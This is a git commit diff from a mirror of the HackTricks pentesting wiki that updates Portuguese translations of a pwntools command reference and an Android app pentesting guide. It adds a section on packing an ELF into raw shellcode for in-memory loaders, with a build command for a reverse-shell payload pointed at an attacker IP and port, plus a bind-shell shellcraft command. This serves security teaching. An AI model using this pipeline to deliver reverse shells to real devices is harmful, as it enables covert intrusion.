mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
Translator
parent
fe92b33a7a
commit
438045be75
@ -353,6 +353,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
|
||||
@ -6,21 +6,21 @@ pip3 install pwntools
|
||||
```
|
||||
## Pwn asm
|
||||
|
||||
Obtenha **opcodes** de linha ou arquivo.
|
||||
Obtenha **opcodes** de uma linha ou de um arquivo.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Pode selecionar:**
|
||||
|
||||
- tipo de saída (raw, hex, string, elf)
|
||||
- contexto do arquivo de saída (16, 32, 64, linux, windows...)
|
||||
- evitar bytes (novas linhas, nulo, uma lista)
|
||||
- selecionar codificador de shellcode de depuração usando gdb para executar a saída
|
||||
- tipo de saída (raw,hex,string,elf)
|
||||
- contexto do arquivo de saída (16,32,64,linux,windows...)
|
||||
- evitar bytes (new lines, null, a list)
|
||||
- selecionar encoder; debugar shellcode usando gdb; executar o output
|
||||
|
||||
## **Verificação de Pwn**
|
||||
## **Pwn checksec**
|
||||
|
||||
Script de checksec
|
||||
Script do Checksec
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
@ -36,13 +36,13 @@ pwn cyclic -l faad
|
||||
**Pode selecionar:**
|
||||
|
||||
- O alfabeto usado (caracteres minúsculos por padrão)
|
||||
- Comprimento do padrão único (padrão 4)
|
||||
- Comprimento do padrão uniq (padrão 4)
|
||||
- contexto (16,32,64,linux,windows...)
|
||||
- Pegue o deslocamento (-l)
|
||||
- Obter o offset (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
Anexe o GDB a um processo
|
||||
Anexar GDB a um processo
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
@ -50,7 +50,7 @@ pwn debug --process bash
|
||||
```
|
||||
**Pode selecionar:**
|
||||
|
||||
- Por executável, por nome ou por contexto de pid (16,32,64,linux,windows...)
|
||||
- Por executável, por nome ou por contexto pid (16,32,64,linux,windows...)
|
||||
- gdbscript para executar
|
||||
- sysrootpath
|
||||
|
||||
@ -62,25 +62,25 @@ pwn disablenx <filepath>
|
||||
```
|
||||
## Pwn disasm
|
||||
|
||||
Desassemble opcodes hex
|
||||
Desassemblar opcodes hex
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Pode selecionar:**
|
||||
|
||||
- contexto (16,32,64,linux,windows...)
|
||||
- context (16,32,64,linux,windows...)
|
||||
- endereço base
|
||||
- cor(padrão)/sem cor
|
||||
- color(default)/no color
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
Imprime as diferenças entre 2 arquivos
|
||||
Imprime diferenças entre 2 arquivos
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
## Pwn hex
|
||||
|
||||
Obter representação hexadecimal
|
||||
Obtenha representação hexadecimal
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
@ -93,7 +93,7 @@ pwn phd <file>
|
||||
**Pode selecionar:**
|
||||
|
||||
- Número de bytes a mostrar
|
||||
- Número de bytes por linha para destacar byte
|
||||
- Número de bytes por linha — byte de destaque
|
||||
- Ignorar bytes no início
|
||||
|
||||
## Pwn pwnstrip
|
||||
@ -115,23 +115,23 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
- shellcode e argumentos para o shellcode
|
||||
- Arquivo de saída
|
||||
- formato de saída
|
||||
- depuração (anexar dbg ao shellcode)
|
||||
- antes (trap de depuração antes do código)
|
||||
- debug (anexar dbg ao shellcode)
|
||||
- antes (trap de debug antes do código)
|
||||
- depois
|
||||
- evitar usar opcodes (padrão: não nulo e nova linha)
|
||||
- evitar usar opcodes (padrão: sem null e nova linha)
|
||||
- Executar o shellcode
|
||||
- Cor/sem cor
|
||||
- listar syscalls
|
||||
- listar possíveis shellcodes
|
||||
- listar shellcodes possíveis
|
||||
- Gerar ELF como uma biblioteca compartilhada
|
||||
|
||||
## Modelo Pwn
|
||||
## Pwn template
|
||||
|
||||
Obtenha um modelo em python
|
||||
Obter um template em python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Pode selecionar:** host, porta, usuário, senha, caminho e silencioso
|
||||
**Pode selecionar:** host, port, user, pass, path e quiet
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
@ -139,10 +139,43 @@ De hex para string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Atualização do Pwn
|
||||
## Pwn update
|
||||
|
||||
Para atualizar o pwntools
|
||||
Para atualizar pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
## ELF → empacotamento raw shellcode (loader_append)
|
||||
|
||||
Pwntools pode transformar um ELF independente num único blob de raw shellcode que auto‑mapeia seus segmentos e transfere a execução para o entrypoint original. Isto é ideal para memory‑only loaders (por exemplo, apps Android invocando JNI para executar bytes baixados).
|
||||
|
||||
Pipeline típico (exemplo amd64)
|
||||
|
||||
1) Construa um payload ELF estático e independente de posição (musl recomendado para portabilidade):
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
2) Converter ELF → shellcode com pwntools:
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||
```
|
||||
3) Entregar sc a um memory loader (por exemplo, via HTTP[S]) e executar in-process.
|
||||
|
||||
Notas
|
||||
- loader_append incorpora o programa ELF original dentro do shellcode e gera um pequeno loader que mmaps os segmentos e salta para o entry.
|
||||
- Seja explícito sobre a arquitetura usando context.clear(arch=...). arm64 é comum em Android.
|
||||
- Mantenha o código do seu payload independente de posição e evite pressupor detalhes sobre ASLR/NX do processo.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Noções Básicas de Aplicações Android
|
||||
|
||||
É altamente recomendado começar lendo esta página para conhecer **as partes mais importantes relacionadas à segurança Android e os componentes mais perigosos em uma aplicação Android**:
|
||||
É altamente recomendável começar lendo esta página para conhecer as **partes mais importantes relacionadas à segurança Android e os componentes mais perigosos em uma aplicação Android**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,23 +13,23 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta é a principal ferramenta que você precisa para conectar a um dispositivo Android (emulado ou físico).\
|
||||
**ADB** permite controlar dispositivos via **USB** ou **rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de apps, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
Esta é a ferramenta principal que você precisa para conectar-se a um dispositivo android (emulado ou físico).\
|
||||
**ADB** permite controlar dispositivos tanto por **USB** quanto por **rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de apps, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
|
||||
Dê uma olhada na lista a seguir de [**ADB Commands**](adb-commands.md) para aprender como usar o adb.
|
||||
Consulte a seguinte lista de [**ADB Commands**](adb-commands.md) para aprender como usar o adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante decompilar o apk, modificar o código e recompilar o apk.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isso pode ser muito útil como **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Portanto, mantenha sempre em mente essa possibilidade.
|
||||
Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante decompilar o apk, modificar o código e recompilar.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isso pode ser muito útil como uma **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Então, **mantenha sempre essa possibilidade em mente**.
|
||||
|
||||
## Outras dicas interessantes
|
||||
## Outros truques interessantes
|
||||
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extrair APK do dispositivo:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Mesclar todos os splits e base apks com [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Mescle todos os splits e base apks com [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -63,37 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Análise Estática
|
||||
|
||||
Antes de tudo, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\
|
||||
Por favor, [**leia aqui para encontrar informação sobre diferentes decompiladores disponíveis**](apk-decompilers.md).
|
||||
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
|
||||
### Procurando informações interessantes
|
||||
|
||||
Apenas olhando as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por backdoors de execução de código ou backdoors de autenticação (credenciais admin hardcoded no app).
|
||||
Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Preste atenção especial às **firebase URLs** e verifique se está mal configurado. [Mais informações sobre o que é Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Entendimento básico da aplicação - Manifest.xml, strings.xml
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e então descompactando-o.
|
||||
A **examinação do _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it.
|
||||
|
||||
**Vulnerabilidades** identificadas no **Manifest.xml** incluem:
|
||||
**Vulnerabilities** identified from the **Manifest.xml** include:
|
||||
|
||||
- **Debuggable Applications**: Aplicações marcadas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo.
|
||||
- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis, para evitar backups de dados não autorizados via adb, especialmente quando usb debugging está habilitado.
|
||||
- **Debuggable Applications**: Aplicações definidas como debuggable (`debuggable="true"`) no _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar debuggable applications on a device.
|
||||
- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando usb debugging está ativado.
|
||||
- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
- **Exported Activities and Services**: Identificar activities e services exportados no manifest pode destacar componentes que podem ser mal utilizados. Análises dinâmicas adicionais podem revelar como explorar esses componentes.
|
||||
- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração dos FileProviders também deve ser analisada cuidadosamente.
|
||||
- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os URL schemes são gerenciados para vulnerabilidades de entrada.
|
||||
- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicam as versões Android suportadas, ressaltando a importância de não suportar versões Android desatualizadas e vulneráveis por razões de segurança.
|
||||
- **Exported Activities and Services**: Identificar activities e services exported no manifest pode destacar componentes que podem ser mal utilizados. Análises adicionais durante testes dinâmicos podem revelar como explorar esses componentes.
|
||||
- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso não autorizado ou modificação de dados. A configuração de FileProviders também deve ser minuciosamente verificada.
|
||||
- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os URL schemes são gerenciados para vulnerabilidades de input.
|
||||
- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicam as versões Android suportadas, ressaltando a importância de não suportar versões Android desatualizadas e vulneráveis por motivos de segurança.
|
||||
|
||||
No arquivo **strings.xml**, informações sensíveis como chaves de API, schemas customizados e outras anotações de desenvolvedores podem ser descobertas, reforçando a necessidade de revisão cuidadosa desses recursos.
|
||||
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde uma **aplicação** **maliciosa** é executada e **se posiciona por cima de uma aplicação vítima**. Uma vez que obscurece visualmente a aplicação vítima, sua interface é desenhada de modo a enganar o usuário para interagir com ela, enquanto passa a interação para a aplicação vítima.\
|
||||
Na prática, é **cegar o usuário para que ele não saiba que está realmente executando ações na aplicação vítima**.
|
||||
**Tapjacking** é um ataque onde uma **aplicação** **maliciosa** é iniciada e **se posiciona sobre uma aplicação vítima**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\
|
||||
In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -104,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Uma **activity** com o **`launchMode`** definido para **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável a Task Hijacking. Isso significa que uma **application** pode ser instalada e, se iniciada antes da aplicação real, poderia **hijackar a task da aplicação real** (fazendo com que o usuário interaja com a **aplicação maliciosa achando que está usando a aplicação real**).
|
||||
An **activity** with the **`launchMode`** set to **`singleTask` without any `taskAffinity`** defined is vulnerable to task Hijacking. Isso significa que uma **application** pode ser instalada e, se iniciada antes da aplicação real, ela pode **hijack the task of the real application** (so the user will be interacting with the **malicious application thinking he is using the real one**).
|
||||
|
||||
More info in:
|
||||
|
||||
@ -113,68 +113,68 @@ More info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Armazenamento de dados inseguro
|
||||
### Insecure data storage
|
||||
|
||||
**Armazenamento Interno**
|
||||
**Internal Storage**
|
||||
|
||||
No Android, arquivos **armazenados** no armazenamento **interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Ainda assim, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo possíveis aplicações maliciosas.
|
||||
In Android, files **stored** in **internal** storage are **designed** to be **accessible** exclusively by the **app** that **created** them. This security measure is **enforced** by the Android operating system and is generally adequate for the security needs of most applications. However, developers sometimes utilize modes such as `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` to **allow** files to be **shared** between different applications. Yet, these modes **do not restrict access** to these files by other applications, including potentially malicious ones.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acesso não intencional ou não autorizado**.
|
||||
- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**. These modes **can potentially expose** files to **unintended or unauthorized access**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifique** as **permissões** definidas nos arquivos criados pelo app. Especificamente, **confirme** se algum arquivo está **definido como legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independente de sua origem ou intenção, **leia ou modifique** esses arquivos.
|
||||
- **Verify** the **permissions** set on files created by the app. Specifically, **check** if any files are **set to be readable or writable worldwide**. This can pose a significant security risk, as it would allow **any application** installed on the device, regardless of its origin or intent, to **read or modify** these files.
|
||||
|
||||
**Armazenamento Externo**
|
||||
**External Storage**
|
||||
|
||||
Ao lidar com arquivos no **armazenamento externo**, como SD Cards, algumas precauções devem ser tomadas:
|
||||
When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken:
|
||||
|
||||
1. **Acessibilidade**:
|
||||
- Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos.
|
||||
2. **Preocupações de Segurança**:
|
||||
- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
|
||||
- O armazenamento externo pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro.
|
||||
3. **Tratamento de Dados do Armazenamento Externo**:
|
||||
- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
|
||||
- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
|
||||
- Se sua aplicação precisa recuperar arquivos executáveis do armazenamento externo, assegure que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da sua aplicação.
|
||||
1. **Accessibility**:
|
||||
- Files on external storage are **globally readable and writable**. This means any application or user can access these files.
|
||||
2. **Security Concerns**:
|
||||
- Given the ease of access, it's advised **not to store sensitive information** on external storage.
|
||||
- External storage can be removed or accessed by any application, making it less secure.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Always **perform input validation** on data retrieved from external storage. This is crucial because the data is from an untrusted source.
|
||||
- Storing executables or class files on external storage for dynamic loading is strongly discouraged.
|
||||
- If your application must retrieve executable files from external storage, ensure these files are **signed and cryptographically verified** before they are dynamically loaded. This step is vital for maintaining the security integrity of your application.
|
||||
|
||||
External storage pode ser **acessado** em `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> A partir do Android 4.4 (**API 17**), o SD card possui uma estrutura de diretórios que **limita o acesso de uma app ao diretório específico daquela app**. Isso evita que aplicações maliciosas obtenham acesso de leitura ou escrita aos arquivos de outra app.
|
||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
|
||||
|
||||
**Dados sensíveis armazenados em texto claro**
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data/<packagename>/shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data/<packagename>/databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
- **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data/<packagename>/shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder.
|
||||
- **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data/<packagename>/databases/` and sometimes it's possible to find sensitive information in clear-text in that folder.
|
||||
|
||||
### Broken TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
|
||||
Por algum motivo, às vezes desenvolvedores aceitam todos os certificados mesmo que, por exemplo, o hostname não corresponda, com linhas de código como a seguinte:
|
||||
For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Uma boa maneira de testar isso é tentar capturar o tráfego usando um proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com Burp um certificado para um hostname diferente e usá-lo.
|
||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
||||
|
||||
### Criptografia quebrada
|
||||
### Criptografia Quebrada
|
||||
|
||||
**Processos de gerenciamento de chaves deficientes**
|
||||
**Processos fracos de gerenciamento de chaves**
|
||||
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/predictable no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam a informação confidencial.
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os encriptam com uma chave hardcoded/predictable no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam a informação confidencial.
|
||||
|
||||
**Uso de algoritmos inseguros e/ou depreciados**
|
||||
**Uso de algoritmos inseguros e/ou obsoletos**
|
||||
|
||||
Desenvolvedores não devem usar **deprecated algorithms** para realizar authorisation **checks**, **store** ou **send** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes brute-force **resistant** com salt.
|
||||
Os desenvolvedores não devem usar **deprecated algorithms** para realizar **checks** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem-se usar hashes resistentes a força-bruta com salt.
|
||||
|
||||
### Outras verificações
|
||||
|
||||
- É recomendado **obfuscate the APK** para dificultar o trabalho de reverse engineer aos atacantes.
|
||||
- Se o app for sensível (como apps bancários), deve perform it's **own checks to see if the mobile is rooted** e agir em consequência.
|
||||
- Se o app for sensível (como apps bancários), deve verificar se um **emulator** está sendo usado.
|
||||
- Se o app for sensível (como apps bancários), deve **check it's own integrity before executing** para verificar se foi modificado.
|
||||
- Recomenda-se **ofuscar o APK** para dificultar o trabalho de engenharia reversa para os atacantes.
|
||||
- Se o app for sensível (como apps bancários), ele deve realizar suas **próprias verificações para detectar se o dispositivo está rootado** e agir em consequência.
|
||||
- Se o app for sensível (como apps bancários), ele deve verificar se um **emulador** está sendo usado.
|
||||
- Se o app for sensível (como apps bancários), ele deve **verificar sua própria integridade antes de executar** para checar se foi modificado.
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compiler/packer/obfuscator foi usado para construir o APK
|
||||
|
||||
### React Native Application
|
||||
@ -197,17 +197,17 @@ Read the following page to learn how to easily access C# code of a xamarin appli
|
||||
|
||||
### Superpacked Applications
|
||||
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. O blog trata da possibilidade de criar um app que descomprima esse tipo de apps... e de uma forma mais rápida que envolve executar a aplicação e recolher os ficheiros descomprimidos do sistema de arquivos.
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
|
||||
### Automated Static Code Analysis
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **scan** do **código** da aplicação. Esta ferramenta contém uma série de **known sources** (que indicam ao tool os **lugares** onde a **input** é **controlled by the user**), **sinks** (que indicam ao tool **lugares perigosos** onde entrada maliciosa do usuário poderia causar danos) e **rules**. Essas regras indicam a **combinação** de **sources-sinks** que aponta uma vulnerabilidade.
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. Esta ferramenta contém uma série de 'sources' conhecidas (que indicam à ferramenta os locais onde a entrada é controlada pelo usuário), 'sinks' (que indicam locais perigosos onde entradas maliciosas podem causar danos) e **regras**. Essas regras indicam a **combinação** de **sources-sinks** que caracteriza uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench irá revisar o código e encontrar possíveis vulnerabilidades nele**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
Uma aplicação pode conter secrets (API keys, passwords, hidden urls, subdomains...) em seu interior que você pode conseguir descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -216,14 +216,19 @@ Uma aplicação pode conter secrets (API keys, passwords, hidden urls, subdomain
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Other interesting functions
|
||||
### Outras funções interessantes
|
||||
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
|
||||
|
||||
### **Other tricks**
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
### **Outros truques**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -236,23 +241,23 @@ content-protocol.md
|
||||
|
||||
## Análise Dinâmica
|
||||
|
||||
> Primeiro de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer and Frida principalmente). Portanto, um dispositivo rooted (emulado ou não) é fortemente recomendado.
|
||||
